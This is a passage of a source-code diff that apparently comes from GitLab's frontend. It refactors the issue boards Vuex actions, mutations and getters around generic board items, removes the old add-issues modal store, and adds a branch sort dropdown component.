canUpdate: parseBoolean($boardApp.dataset.canUpdate),
+ canAdminList: parseBoolean($boardApp.dataset.canAdminList),
labelsFetchPath: $boardApp.dataset.labelsFetchPath,
labelsManagePath: $boardApp.dataset.labelsManagePath,
labelsFilterBasePath: $boardApp.dataset.labelsFilterBasePath,
@@ -107,6 +94,8 @@ export default () => {
milestoneListsAvailable: parseBoolean($boardApp.dataset.milestoneListsAvailable),
assigneeListsAvailable: parseBoolean($boardApp.dataset.assigneeListsAvailable),
iterationListsAvailable: parseBoolean($boardApp.dataset.iterationListsAvailable),
+ issuableType: issuableTypes.issue,
+ emailsDisabled: parseBoolean($boardApp.dataset.emailsDisabled),
},
store,
apolloProvider,
@@ -174,15 +163,9 @@ export default () => {
eventHub.$off('initialBoardLoad', this.initialBoardLoad);
},
mounted() {
- if (!gon.features?.boardsFilteredSearch) {
- this.filterManager = new FilteredSearchBoards(
- boardsStore.filter,
- true,
- boardsStore.cantEdit,
- );
+ this.filterManager = new FilteredSearchBoards(boardsStore.filter, true, boardsStore.cantEdit);
- this.filterManager.setup();
- }
+ this.filterManager.setup();
this.performSearch();
@@ -323,49 +306,7 @@ export default () => {
boardConfigToggle(boardsStore);
- const issueBoardsModal = document.getElementById('js-add-issues-btn');
-
- if (issueBoardsModal && gon.features.addIssuesButton) {
- // eslint-disable-next-line no-new
- new Vue({
- el: issueBoardsModal,
- mixins: [modalMixin],
- data() {
- return {
- modal: ModalStore.store,
- store: boardsStore.state,
- ...getBoardsModalData(),
- canAdminList: this.$options.el.hasAttribute('data-can-admin-list'),
- };
- },
- computed: {
- disabled() {
- if (!this.store) {
- return true;
- }
- return !this.store.lists.filter((list) => !list.preset).length;
- },
- },
- methods: {
- openModal() {
- if (!this.disabled) {
- this.toggleModal(true);
- }
- },
- },
- render(createElement) {
- return createElement(BoardExtraActions, {
- props: {
- canAdminList: this.$options.el.hasAttribute('data-can-admin-list'),
- openModal: this.openModal,
- disabled: this.disabled,
- },
- });
- },
- });
- }
-
- toggleFocusMode(ModalStore, boardsStore);
+ toggleFocusMode();
toggleLabels();
if (gon.licensed_features?.swimlanes) {
diff --git a/app/assets/javascripts/boards/mixins/board_new_issue.js b/app/assets/javascripts/boards/mixins/board_new_issue.js
new file mode 100644
index 00000000000..d4b74544735
--- /dev/null
+++ b/app/assets/javascripts/boards/mixins/board_new_issue.js
@@ -0,0 +1,6 @@
+export default {
+ // EE-only
+ methods: {
+ extraIssueInput: () => {},
+ },
+};
diff --git a/app/assets/javascripts/boards/mixins/modal_footer.js b/app/assets/javascripts/boards/mixins/modal_footer.js
deleted file mode 100644
index ff8b4c56321..00000000000
--- a/app/assets/javascripts/boards/mixins/modal_footer.js
+++ /dev/null
@@ -1 +0,0 @@
-export default {};
diff --git a/app/assets/javascripts/boards/mixins/modal_mixins.js b/app/assets/javascripts/boards/mixins/modal_mixins.js
deleted file mode 100644
index 6c97e1629bf..00000000000
--- a/app/assets/javascripts/boards/mixins/modal_mixins.js
+++ /dev/null
@@ -1,12 +0,0 @@
-import ModalStore from '../stores/modal_store';
-
-export default {
- methods: {
- toggleModal(toggle) {
- ModalStore.store.showAddIssuesModal = toggle;
- },
- changeTab(tab) {
- ModalStore.store.activeTab = tab;
- },
- },
-};
diff --git a/app/assets/javascripts/boards/stores/actions.js b/app/assets/javascripts/boards/stores/actions.js
index 19b31ee7291..8005414962c 100644
--- a/app/assets/javascripts/boards/stores/actions.js
+++ b/app/assets/javascripts/boards/stores/actions.js
@@ -1,16 +1,21 @@
+import * as Sentry from '@sentry/browser';
import { pick } from 'lodash';
import createBoardListMutation from 'ee_else_ce/boards/graphql/board_list_create.mutation.graphql';
import boardListsQuery from 'ee_else_ce/boards/graphql/board_lists.query.graphql';
+import issueMoveListMutation from 'ee_else_ce/boards/graphql/issue_move_list.mutation.graphql';
import {
BoardType,
ListType,
inactiveId,
flashAnimationDuration,
ISSUABLE,
+ titleQueries,
+ subscriptionQueries,
} from '~/boards/constants';
import { getIdFromGraphQLId } from '~/graphql_shared/utils';
import createGqClient, { fetchPolicies } from '~/lib/graphql';
import { convertObjectPropsToCamelCase, urlParamsToObject } from '~/lib/utils/common_utils';
+import { s__ } from '~/locale';
import {
formatBoardLists,
formatListIssues,
@@ -20,18 +25,17 @@ import {
formatIssueInput,
updateListPosition,
transformNotFilters,
+ moveItemListHelper,
+ getMoveData,
} from '../boards_util';
import boardLabelsQuery from '../graphql/board_labels.query.graphql';
import destroyBoardListMutation from '../graphql/board_list_destroy.mutation.graphql';
import updateBoardListMutation from '../graphql/board_list_update.mutation.graphql';
import groupProjectsQuery from '../graphql/group_projects.query.graphql';
import issueCreateMutation from '../graphql/issue_create.mutation.graphql';
-import issueMoveListMutation from '../graphql/issue_move_list.mutation.graphql';
import issueSetDueDateMutation from '../graphql/issue_set_due_date.mutation.graphql';
import issueSetLabelsMutation from '../graphql/issue_set_labels.mutation.graphql';
import issueSetMilestoneMutation from '../graphql/issue_set_milestone.mutation.graphql';
-import issueSetSubscriptionMutation from '../graphql/issue_set_subscription.mutation.graphql';
-import issueSetTitleMutation from '../graphql/issue_set_title.mutation.graphql';
import listsIssuesQuery from '../graphql/lists_issues.query.graphql';
import * as types from './mutation_types';
@@ -68,6 +72,7 @@ export default {
'milestoneTitle',
'releaseTag',
'search',
+ 'myReactionEmoji',
]);
filterParams.not = transformNotFilters(filters);
commit(types.SET_FILTERS, filterParams);
@@ -326,63 +331,155 @@ export default {
commit(types.RESET_ISSUES);
},
- moveItem: ({ dispatch }) => {
- dispatch('moveIssue');
+ moveItem: ({ dispatch }, payload) => {
+ dispatch('moveIssue', payload);
},
- moveIssue: (
- { state, commit },
- { itemId, itemIid, itemPath, fromListId, toListId, moveBeforeId, moveAfterId },
+ moveIssue: ({ dispatch, state }, params) => {
+ const moveData = getMoveData(state, params);
+
+ dispatch('moveIssueCard', moveData);
+ dispatch('updateMovedIssue', moveData);
+ dispatch('updateIssueOrder', { moveData });
+ },
+
+ moveIssueCard: ({ commit }, moveData) => {
+ const {
+ reordering,
+ shouldClone,
+ itemNotInToList,
+ originalIndex,
+ itemId,
+ fromListId,
+ toListId,
+ moveBeforeId,
+ moveAfterId,
+ } = moveData;
+
+ commit(types.REMOVE_BOARD_ITEM_FROM_LIST, { itemId, listId: fromListId });
+
+ if (reordering) {
+ commit(types.ADD_BOARD_ITEM_TO_LIST, {
+ itemId,
+ listId: toListId,
+ moveBeforeId,
+ moveAfterId,
+ });
+
+ return;
+ }
+
+ if (itemNotInToList) {
+ commit(types.ADD_BOARD_ITEM_TO_LIST, {
+ itemId,
+ listId: toListId,
+ moveBeforeId,
+ moveAfterId,
+ });
+ }
+
+ if (shouldClone) {
+ commit(types.ADD_BOARD_ITEM_TO_LIST, { itemId, listId: fromListId, atIndex: originalIndex });
+ }
+ },
+
+ updateMovedIssue: (
+ { commit, state: { boardItems, boardLists } },
+ { itemId, fromListId, toListId },
) => {
- const originalIssue = state.boardItems[itemId];
- const fromList = state.boardItemsByListId[fromListId];
- const originalIndex = fromList.indexOf(Number(itemId));
- commit(types.MOVE_ISSUE, { originalIssue, fromListId, toListId, moveBeforeId, moveAfterId });
+ const updatedIssue = moveItemListHelper(
+ boardItems[itemId],
+ boardLists[fromListId],
+ boardLists[toListId],
+ );
- const { boardId } = state;
- const [fullProjectPath] = itemPath.split(/[#]/);
+ commit(types.UPDATE_BOARD_ITEM, updatedIssue);
+ },
- gqlClient
- .mutate({
+ undoMoveIssueCard: ({ commit }, moveData) => {
+ const {
+ reordering,
+ shouldClone,
+ itemNotInToList,
+ itemId,
+ fromListId,
+ toListId,
+ originalIssue,
+ originalIndex,
+ } = moveData;
+
+ commit(types.UPDATE_BOARD_ITEM, originalIssue);
+
+ if (reordering) {
+ commit(types.REMOVE_BOARD_ITEM_FROM_LIST, { itemId, listId: fromListId });
+ commit(types.ADD_BOARD_ITEM_TO_LIST, { itemId, listId: fromListId, atIndex: originalIndex });
+ return;
+ }
+
+ if (shouldClone) {
+ commit(types.REMOVE_BOARD_ITEM_FROM_LIST, { itemId, listId: fromListId });
+ }
+ if (itemNotInToList) {
+ commit(types.REMOVE_BOARD_ITEM_FROM_LIST, { itemId, listId: toListId });
+ }
+
+ commit(types.ADD_BOARD_ITEM_TO_LIST, { itemId, listId: fromListId, atIndex: originalIndex });
+ },
+
+ updateIssueOrder: async ({ commit, dispatch, state }, { moveData, mutationVariables = {} }) => {
+ try {
+ const { itemId, fromListId, toListId, moveBeforeId, moveAfterId } = moveData;
+ const {
+ boardId,
+ boardItems: {
+ [itemId]: { iid, referencePath },
+ },
+ } = state;
+
+ const { data } = await gqlClient.mutate({
mutation: issueMoveListMutation,
variables: {
- projectPath: fullProjectPath,
+ iid,
+ projectPath: referencePath.split(/[#]/)[0],
boardId: fullBoardId(boardId),
- iid: itemIid,
fromListId: getIdFromGraphQLId(fromListId),
toListId: getIdFromGraphQLId(toListId),
moveBeforeId,
moveAfterId,
+ // 'mutationVariables' allows EE code to pass in extra parameters.
+ ...mutationVariables,
},
- })
- .then(({ data }) => {
- if (data?.issueMoveList?.errors.length) {
- throw new Error();
- } else {
- const issue = data.issueMoveList?.issue;
- commit(types.MOVE_ISSUE_SUCCESS, { issue });
- }
- })
- .catch(() =>
- commit(types.MOVE_ISSUE_FAILURE, { originalIssue, fromListId, toListId, originalIndex }),
+ });
+
+ if (data?.issueMoveList?.errors.length || !data.issueMoveList) {
+ throw new Error('issueMoveList empty');
+ }
+
+ commit(types.MUTATE_ISSUE_SUCCESS, { issue: data.issueMoveList.issue });
+ } catch {
+ commit(
+ types.SET_ERROR,
+ s__('Boards|An error occurred while moving the issue. Please try again.'),
);
+ dispatch('undoMoveIssueCard', moveData);
+ }
},
setAssignees: ({ commit, getters }, assigneeUsernames) => {
- commit('UPDATE_ISSUE_BY_ID', {
- issueId: getters.activeIssue.id,
+ commit('UPDATE_BOARD_ITEM_BY_ID', {
+ itemId: getters.activeBoardItem.id,
prop: 'assignees',
value: assigneeUsernames,
});
},
setActiveIssueMilestone: async ({ commit, getters }, input) => {
- const { activeIssue } = getters;
+ const { activeBoardItem } = getters;
const { data } = await gqlClient.mutate({
mutation: issueSetMilestoneMutation,
variables: {
input: {
- iid: String(activeIssue.iid),
+ iid: String(activeBoardItem.iid),
milestoneId: getIdFromGraphQLId(input.milestoneId),
projectPath: input.projectPath,
},
@@ -393,65 +490,71 @@ export default {
throw new Error(data.updateIssue.errors);
}
- commit(types.UPDATE_ISSUE_BY_ID, {
- issueId: activeIssue.id,
+ commit(types.UPDATE_BOARD_ITEM_BY_ID, {
+ itemId: activeBoardItem.id,
prop: 'milestone',
value: data.updateIssue.issue.milestone,
});
},
- createNewIssue: ({ commit, state }, issueInput) => {
- const { boardConfig } = state;
+ addListItem: ({ commit }, { list, item, position }) => {
+ commit(types.ADD_BOARD_ITEM_TO_LIST, { listId: list.id, itemId: item.id, atIndex: position });
+ commit(types.UPDATE_BOARD_ITEM, item);
+ },
+
+ removeListItem: ({ commit }, { listId, itemId }) => {
+ commit(types.REMOVE_BOARD_ITEM_FROM_LIST, { listId, itemId });
+ commit(types.REMOVE_BOARD_ITEM, itemId);
+ },
+ addListNewIssue: (
+ { state: { boardConfig, boardType, fullPath }, dispatch, commit },
+ { issueInput, list, placeholderId = `tmp-${new Date().getTime()}` },
+ ) => {
const input = formatIssueInput(issueInput, boardConfig);
- const { boardType, fullPath } = state;
if (boardType === BoardType.project) {
input.projectPath = fullPath;
}
- return gqlClient
+ const placeholderIssue = formatIssue({ ...issueInput, id: placeholderId });
+ dispatch('addListItem', { list, item: placeholderIssue, position: 0 });
+
+ gqlClient
.mutate({
mutation: issueCreateMutation,
variables: { input },
})
.then(({ data }) => {
if (data.createIssue.errors.length) {
- commit(types.CREATE_ISSUE_FAILURE);
- } else {
- return data.createIssue?.issue;
+ throw new Error();
}
- return null;
- })
- .catch(() => commit(types.CREATE_ISSUE_FAILURE));
- },
- addListIssue: ({ commit }, { list, issue, position }) => {
- commit(types.ADD_ISSUE_TO_LIST, { list, issue, position });
+ const rawIssue = data.createIssue?.issue;
+ const formattedIssue = formatIssue({ ...rawIssue, id: getIdFromGraphQLId(rawIssue.id) });
+ dispatch('removeListItem', { listId: list.id, itemId: placeholderId });
+ dispatch('addListItem', { list, item: formattedIssue, position: 0 });
+ })
+ .catch(() => {
+ dispatch('removeListItem', { listId: list.id, itemId: placeholderId });
+ commit(
+ types.SET_ERROR,
+ s__('Boards|An error occurred while creating the issue. Please try again.'),
+ );
+ });
},
- addListNewIssue: ({ commit, dispatch }, { issueInput, list }) => {
- const issue = formatIssue({ ...issueInput, id: 'tmp' });
- commit(types.ADD_ISSUE_TO_LIST, { list, issue, position: 0 });
-
- dispatch('createNewIssue', issueInput)
- .then((res) => {
- commit(types.ADD_ISSUE_TO_LIST, {
- list,
- issue: formatIssue({ ...res, id: getIdFromGraphQLId(res.id) }),
- });
- commit(types.REMOVE_ISSUE_FROM_LIST, { list, issue });
- })
- .catch(() => commit(types.ADD_ISSUE_TO_LIST_FAILURE, { list, issueId: issueInput.id }));
+ setActiveBoardItemLabels: ({ dispatch }, params) => {
+ dispatch('setActiveIssueLabels', params);
},
setActiveIssueLabels: async ({ commit, getters }, input) => {
- const { activeIssue } = getters;
+ const { activeBoardItem } = getters;
const { data } = await gqlClient.mutate({
mutation: issueSetLabelsMutation,
variables: {
input: {
- iid: String(activeIssue.iid),
+ iid: String(activeBoardItem.iid),
addLabelIds: input.addLabelIds ?? [],
removeLabelIds: input.removeLabelIds ?? [],
projectPath: input.projectPath,
@@ -463,20 +566,20 @@ export default {
throw new Error(data.updateIssue.errors);
}
- commit(types.UPDATE_ISSUE_BY_ID, {
- issueId: activeIssue.id,
+ commit(types.UPDATE_BOARD_ITEM_BY_ID, {
+ itemId: activeBoardItem.id,
prop: 'labels',
value: data.updateIssue.issue.labels.nodes,
});
},
setActiveIssueDueDate: async ({ commit, getters }, input) => {
- const { activeIssue } = getters;
+ const { activeBoardItem } = getters;
const { data } = await gqlClient.mutate({
mutation: issueSetDueDateMutation,
variables: {
input: {
- iid: String(activeIssue.iid),
+ iid: String(activeBoardItem.iid),
projectPath: input.projectPath,
dueDate: input.dueDate,
},
@@ -487,57 +590,66 @@ export default {
throw new Error(data.updateIssue.errors);
}
- commit(types.UPDATE_ISSUE_BY_ID, {
- issueId: activeIssue.id,
+ commit(types.UPDATE_BOARD_ITEM_BY_ID, {
+ itemId: activeBoardItem.id,
prop: 'dueDate',
value: data.updateIssue.issue.dueDate,
});
},
- setActiveIssueSubscribed: async ({ commit, getters }, input) => {
+ setActiveItemSubscribed: async ({ commit, getters, state }, input) => {
+ const { activeBoardItem, isEpicBoard } = getters;
+ const { fullPath, issuableType } = state;
+ const workspacePath = isEpicBoard
+ ? { groupPath: fullPath }
+ : { projectPath: input.projectPath };
const { data } = await gqlClient.mutate({
- mutation: issueSetSubscriptionMutation,
+ mutation: subscriptionQueries[issuableType].mutation,
variables: {
input: {
- iid: String(getters.activeIssue.iid),
- projectPath: input.projectPath,
+ ...workspacePath,
+ iid: String(activeBoardItem.iid),
subscribedState: input.subscribed,
},
},
});
- if (data.issueSetSubscription?.errors?.length > 0) {
- throw new Error(data.issueSetSubscription.errors);
+ if (data.updateIssuableSubscription?.errors?.length > 0) {
+ throw new Error(data.updateIssuableSubscription[issuableType].errors);
}
- commit(types.UPDATE_ISSUE_BY_ID, {
- issueId: getters.activeIssue.id,
+ commit(types.UPDATE_BOARD_ITEM_BY_ID, {
+ itemId: activeBoardItem.id,
prop: 'subscribed',
- value: data.issueSetSubscription.issue.subscribed,
+ value: data.updateIssuableSubscription[issuableType].subscribed,
});
},
- setActiveIssueTitle: async ({ commit, getters }, input) => {
- const { activeIssue } = getters;
+ setActiveItemTitle: async ({ commit, getters, state }, input) => {
+ const { activeBoardItem, isEpicBoard } = getters;
+ const { fullPath, issuableType } = state;
+ const workspacePath = isEpicBoard
+ ? { groupPath: fullPath }
+ : { projectPath: input.projectPath };
const { data } = await gqlClient.mutate({
- mutation: issueSetTitleMutation,
+ mutation: titleQueries[issuableType].mutation,
variables: {
input: {
- iid: String(activeIssue.iid),
- projectPath: input.projectPath,
+ ...workspacePath,
+ iid: String(activeBoardItem.iid),
title: input.title,
},
},
});
- if (data.updateIssue?.errors?.length > 0) {
- throw new Error(data.updateIssue.errors);
+ if (data.updateIssuableTitle?.errors?.length > 0) {
+ throw new Error(data.updateIssuableTitle.errors);
}
- commit(types.UPDATE_ISSUE_BY_ID, {
- issueId: activeIssue.id,
+ commit(types.UPDATE_BOARD_ITEM_BY_ID, {
+ itemId: activeBoardItem.id,
prop: 'title',
- value: data.updateIssue.issue.title,
+ value: data.updateIssuableTitle[issuableType].title,
});
},
@@ -576,10 +688,10 @@ export default {
const { selectedBoardItems } = state;
const index = selectedBoardItems.indexOf(boardItem);
- // If user already selected an item (activeIssue) without using mult-select,
+ // If user already selected an item (activeBoardItem) without using mult-select,
// include that item in the selection and unset state.ActiveId to hide the sidebar.
- if (getters.activeIssue) {
- commit(types.ADD_BOARD_ITEM_TO_SELECTION, getters.activeIssue);
+ if (getters.activeBoardItem) {
+ commit(types.ADD_BOARD_ITEM_TO_SELECTION, getters.activeBoardItem);
dispatch('unsetActiveId');
}
@@ -608,6 +720,18 @@ export default {
}
},
+ setError: ({ commit }, { message, error, captureError = false }) => {
+ commit(types.SET_ERROR, message);
+
+ if (captureError) {
+ Sentry.captureException(error);
+ }
+ },
+
+ unsetError: ({ commit }) => {
+ commit(types.SET_ERROR, undefined);
+ },
+
fetchBacklog: () => {
notImplemented();
},
diff --git a/app/assets/javascripts/boards/stores/getters.js b/app/assets/javascripts/boards/stores/getters.js
index caa518f91ce..0589851c658 100644
--- a/app/assets/javascripts/boards/stores/getters.js
+++ b/app/assets/javascripts/boards/stores/getters.js
@@ -1,5 +1,5 @@
import { find } from 'lodash';
-import { BoardType, inactiveId } from '../constants';
+import { BoardType, inactiveId, issuableTypes } from '../constants';
export default {
isGroupBoard: (state) => state.boardType === BoardType.group,
@@ -15,17 +15,17 @@ export default {
return listItemsIds.map((id) => getters.getBoardItemById(id));
},
- activeIssue: (state) => {
+ activeBoardItem: (state) => {
return state.boardItems[state.activeId] || {};
},
groupPathForActiveIssue: (_, getters) => {
- const { referencePath = '' } = getters.activeIssue;
+ const { referencePath = '' } = getters.activeBoardItem;
return referencePath.slice(0, referencePath.indexOf('/'));
},
projectPathForActiveIssue: (_, getters) => {
- const { referencePath = '' } = getters.activeIssue;
+ const { referencePath = '' } = getters.activeBoardItem;
return referencePath.slice(0, referencePath.indexOf('#'));
},
@@ -44,6 +44,10 @@ export default {
return find(state.boardLists, (l) => l.title === title);
},
+ isIssueBoard: (state) => {
+ return state.issuableType === issuableTypes.issue;
+ },
+
isEpicBoard: () => {
return false;
},
diff --git a/app/assets/javascripts/boards/stores/modal_store.js b/app/assets/javascripts/boards/stores/modal_store.js
deleted file mode 100644
index 8a8fa61361c..00000000000
--- a/app/assets/javascripts/boards/stores/modal_store.js
+++ /dev/null
@@ -1,95 +0,0 @@
-class ModalStore {
- constructor() {
- this.store = {
- columns: 3,
- issues: [],
- issuesCount: false,
- selectedIssues: [],
- showAddIssuesModal: false,
- activeTab: 'all',
- selectedList: null,
- searchTerm: '',
- loading: false,
- loadingNewPage: false,
- filterLoading: false,
- page: 1,
- perPage: 50,
- filter: {
- path: '',
- },
- };
- }
-
- selectedCount() {
- return this.getSelectedIssues().length;
- }
-
- toggleIssue(issueObj) {
- const issue = issueObj;
- const { selected } = issue;
-
- issue.selected = !selected;
-
- if (!selected) {
- this.addSelectedIssue(issue);
- } else {
- this.removeSelectedIssue(issue);
- }
- }
-
- toggleAll() {
- const select = this.selectedCount() !== this.store.issues.length;
-
- this.store.issues.forEach((issue) => {
- const issueUpdate = issue;
-
- if (issueUpdate.selected !== select) {
- issueUpdate.selected = select;
-
- if (select) {
- this.addSelectedIssue(issue);
- } else {
- this.removeSelectedIssue(issue);
- }
- }
- });
- }
-
- getSelectedIssues() {
- return this.store.selectedIssues.filter((issue) => issue.selected);
- }
-
- addSelectedIssue(issue) {
- const index = this.selectedIssueIndex(issue);
-
- if (index === -1) {
- this.store.selectedIssues.push(issue);
- }
- }
-
- removeSelectedIssue(issue, forcePurge = false) {
- if (this.store.activeTab === 'all' || forcePurge) {
- this.store.selectedIssues = this.store.selectedIssues.filter(
- (fIssue) => fIssue.id !== issue.id,
- );
- }
- }
-
- purgeUnselectedIssues() {
- this.store.selectedIssues.forEach((issue) => {
- if (!issue.selected) {
- this.removeSelectedIssue(issue, true);
- }
- });
- }
-
- selectedIssueIndex(issue) {
- return this.store.selectedIssues.indexOf(issue);
- }
-
- findSelectedIssue(issue) {
- return this.store.selectedIssues.filter((filteredIssue) => filteredIssue.id === issue.id)[0];
- }
-}
-
-export default new ModalStore();
diff --git a/app/assets/javascripts/boards/stores/mutation_types.js b/app/assets/javascripts/boards/stores/mutation_types.js
index e7c034fb087..22b9905ee62 100644
--- a/app/assets/javascripts/boards/stores/mutation_types.js
+++ b/app/assets/javascripts/boards/stores/mutation_types.js
@@ -20,23 +20,21 @@ export const REMOVE_LIST_FAILURE = 'REMOVE_LIST_FAILURE';
export const REQUEST_ITEMS_FOR_LIST = 'REQUEST_ITEMS_FOR_LIST';
export const RECEIVE_ITEMS_FOR_LIST_FAILURE = 'RECEIVE_ITEMS_FOR_LIST_FAILURE';
export const RECEIVE_ITEMS_FOR_LIST_SUCCESS = 'RECEIVE_ITEMS_FOR_LIST_SUCCESS';
-export const CREATE_ISSUE_FAILURE = 'CREATE_ISSUE_FAILURE';
export const REQUEST_ADD_ISSUE = 'REQUEST_ADD_ISSUE';
export const RECEIVE_ADD_ISSUE_SUCCESS = 'RECEIVE_ADD_ISSUE_SUCCESS';
export const RECEIVE_ADD_ISSUE_ERROR = 'RECEIVE_ADD_ISSUE_ERROR';
-export const MOVE_ISSUE = 'MOVE_ISSUE';
-export const MOVE_ISSUE_SUCCESS = 'MOVE_ISSUE_SUCCESS';
-export const MOVE_ISSUE_FAILURE = 'MOVE_ISSUE_FAILURE';
+export const UPDATE_BOARD_ITEM = 'UPDATE_BOARD_ITEM';
+export const REMOVE_BOARD_ITEM = 'REMOVE_BOARD_ITEM';
export const REQUEST_UPDATE_ISSUE = 'REQUEST_UPDATE_ISSUE';
+export const MUTATE_ISSUE_SUCCESS = 'MUTATE_ISSUE_SUCCESS';
export const RECEIVE_UPDATE_ISSUE_SUCCESS = 'RECEIVE_UPDATE_ISSUE_SUCCESS';
export const RECEIVE_UPDATE_ISSUE_ERROR = 'RECEIVE_UPDATE_ISSUE_ERROR';
-export const ADD_ISSUE_TO_LIST = 'ADD_ISSUE_TO_LIST';
-export const ADD_ISSUE_TO_LIST_FAILURE = 'ADD_ISSUE_TO_LIST_FAILURE';
-export const REMOVE_ISSUE_FROM_LIST = 'REMOVE_ISSUE_FROM_LIST';
+export const ADD_BOARD_ITEM_TO_LIST = 'ADD_BOARD_ITEM_TO_LIST';
+export const REMOVE_BOARD_ITEM_FROM_LIST = 'REMOVE_BOARD_ITEM_FROM_LIST';
export const SET_CURRENT_PAGE = 'SET_CURRENT_PAGE';
export const TOGGLE_EMPTY_STATE = 'TOGGLE_EMPTY_STATE';
export const SET_ACTIVE_ID = 'SET_ACTIVE_ID';
-export const UPDATE_ISSUE_BY_ID = 'UPDATE_ISSUE_BY_ID';
+export const UPDATE_BOARD_ITEM_BY_ID = 'UPDATE_BOARD_ITEM_BY_ID';
export const SET_ASSIGNEE_LOADING = 'SET_ASSIGNEE_LOADING';
export const RESET_ISSUES = 'RESET_ISSUES';
export const REQUEST_GROUP_PROJECTS = 'REQUEST_GROUP_PROJECTS';
@@ -49,3 +47,4 @@ export const SET_ADD_COLUMN_FORM_VISIBLE = 'SET_ADD_COLUMN_FORM_VISIBLE';
export const ADD_LIST_TO_HIGHLIGHTED_LISTS = 'ADD_LIST_TO_HIGHLIGHTED_LISTS';
export const REMOVE_LIST_FROM_HIGHLIGHTED_LISTS = 'REMOVE_LIST_FROM_HIGHLIGHTED_LISTS';
export const RESET_BOARD_ITEM_SELECTION = 'RESET_BOARD_ITEM_SELECTION';
+export const SET_ERROR = 'SET_ERROR';
diff --git a/app/assets/javascripts/boards/stores/mutations.js b/app/assets/javascripts/boards/stores/mutations.js
index 75b60366b6a..561c21b78c1 100644
--- a/app/assets/javascripts/boards/stores/mutations.js
+++ b/app/assets/javascripts/boards/stores/mutations.js
@@ -2,7 +2,7 @@ import { pull, union } from 'lodash';
import Vue from 'vue';
import { getIdFromGraphQLId } from '~/graphql_shared/utils';
import { s__ } from '~/locale';
-import { formatIssue, moveItemListHelper } from '../boards_util';
+import { formatIssue } from '../boards_util';
import { issuableTypes } from '../constants';
import * as mutationTypes from './mutation_types';
@@ -158,13 +158,13 @@ export default {
});
},
- [mutationTypes.UPDATE_ISSUE_BY_ID]: (state, { issueId, prop, value }) => {
- if (!state.boardItems[issueId]) {
+ [mutationTypes.UPDATE_BOARD_ITEM_BY_ID]: (state, { itemId, prop, value }) => {
+ if (!state.boardItems[itemId]) {
/* eslint-disable-next-line @gitlab/require-i18n-strings */
throw new Error('No issue found.');
}
- Vue.set(state.boardItems[issueId], prop, value);
+ Vue.set(state.boardItems[itemId], prop, value);
},
[mutationTypes.SET_ASSIGNEE_LOADING](state, isLoading) {
@@ -183,40 +183,11 @@ export default {
notImplemented();
},
- [mutationTypes.MOVE_ISSUE]: (
- state,
- { originalIssue, fromListId, toListId, moveBeforeId, moveAfterId },
- ) => {
- const fromList = state.boardLists[fromListId];
- const toList = state.boardLists[toListId];
-
- const issue = moveItemListHelper(originalIssue, fromList, toList);
- Vue.set(state.boardItems, issue.id, issue);
-
- removeItemFromList({ state, listId: fromListId, itemId: issue.id });
- addItemToList({ state, listId: toListId, itemId: issue.id, moveBeforeId, moveAfterId });
- },
-
- [mutationTypes.MOVE_ISSUE_SUCCESS]: (state, { issue }) => {
+ [mutationTypes.MUTATE_ISSUE_SUCCESS]: (state, { issue }) => {
const issueId = getIdFromGraphQLId(issue.id);
Vue.set(state.boardItems, issueId, formatIssue({ ...issue, id: issueId }));
},
- [mutationTypes.MOVE_ISSUE_FAILURE]: (
- state,
- { originalIssue, fromListId, toListId, originalIndex },
- ) => {
- state.error = s__('Boards|An error occurred while moving the issue. Please try again.');
- Vue.set(state.boardItems, originalIssue.id, originalIssue);
- removeItemFromList({ state, listId: toListId, itemId: originalIssue.id });
- addItemToList({
- state,
- listId: fromListId,
- itemId: originalIssue.id,
- atIndex: originalIndex,
- });
- },
-
[mutationTypes.REQUEST_UPDATE_ISSUE]: () => {
notImplemented();
},
@@ -229,28 +200,23 @@ export default {
notImplemented();
},
- [mutationTypes.CREATE_ISSUE_FAILURE]: (state) => {
- state.error = s__('Boards|An error occurred while creating the issue. Please try again.');
+ [mutationTypes.ADD_BOARD_ITEM_TO_LIST]: (
+ state,
+ { itemId, listId, moveBeforeId, moveAfterId, atIndex },
+ ) => {
+ addItemToList({ state, listId, itemId, moveBeforeId, moveAfterId, atIndex });
},
- [mutationTypes.ADD_ISSUE_TO_LIST]: (state, { list, issue, position }) => {
- addItemToList({
- state,
- listId: list.id,
- itemId: issue.id,
- atIndex: position,
- });
- Vue.set(state.boardItems, issue.id, issue);
+ [mutationTypes.REMOVE_BOARD_ITEM_FROM_LIST]: (state, { itemId, listId }) => {
+ removeItemFromList({ state, listId, itemId });
},
- [mutationTypes.ADD_ISSUE_TO_LIST_FAILURE]: (state, { list, issueId }) => {
- state.error = s__('Boards|An error occurred while creating the issue. Please try again.');
- removeItemFromList({ state, listId: list.id, itemId: issueId });
+ [mutationTypes.UPDATE_BOARD_ITEM]: (state, item) => {
+ Vue.set(state.boardItems, item.id, item);
},
- [mutationTypes.REMOVE_ISSUE_FROM_LIST]: (state, { list, issue }) => {
- removeItemFromList({ state, listId: list.id, itemId: issue.id });
- Vue.delete(state.boardItems, issue.id);
+ [mutationTypes.REMOVE_BOARD_ITEM]: (state, itemId) => {
+ Vue.delete(state.boardItems, itemId);
},
[mutationTypes.SET_CURRENT_PAGE]: () => {
@@ -309,4 +275,8 @@ export default {
[mutationTypes.RESET_BOARD_ITEM_SELECTION]: (state) => {
state.selectedBoardItems = [];
},
+
+ [mutationTypes.SET_ERROR]: (state, error) => {
+ state.error = error;
+ },
};
diff --git a/app/assets/javascripts/branches/branch_sort_dropdown.js b/app/assets/javascripts/branches/branch_sort_dropdown.js
new file mode 100644
index 00000000000..9914ce05a95
--- /dev/null
+++ b/app/assets/javascripts/branches/branch_sort_dropdown.js
@@ -0,0 +1,25 @@
+import Vue from 'vue';
+import SortDropdown from './components/sort_dropdown.vue';
+
+const mountDropdownApp = (el) => {
+ const { mode, projectBranchesFilteredPath, sortOptions } = el.dataset;
+
+ return new Vue({
+ el,
+ name: 'SortBranchesDropdownApp',
+ components: {
+ SortDropdown,
+ },
+ provide: {
+ mode,
+ projectBranchesFilteredPath,
+ sortOptions: JSON.parse(sortOptions),
+ },
+ render: (createElement) => createElement(SortDropdown),
+ });
+};
+
+export default () => {
+ const el = document.getElementById('js-branches-sort-dropdown');
+ return el ? mountDropdownApp(el) : null;
+};
diff --git a/app/assets/javascripts/branches/components/sort_dropdown.vue b/app/assets/javascripts/branches/components/sort_dropdown.vue
new file mode 100644
index 00000000000..ddb4c5c0015
--- /dev/null
+++ b/app/assets/javascripts/branches/components/sort_dropdown.vue
@@ -0,0 +1,88 @@
+<script>
+import { GlDropdown, GlDropdownItem, GlSearchBoxByClick } from '@gitlab/ui';
+import { mergeUrlParams, visitUrl, getParameterValues } from '~/lib/utils/url_utility';
+import { s__ } from '~/locale';
+
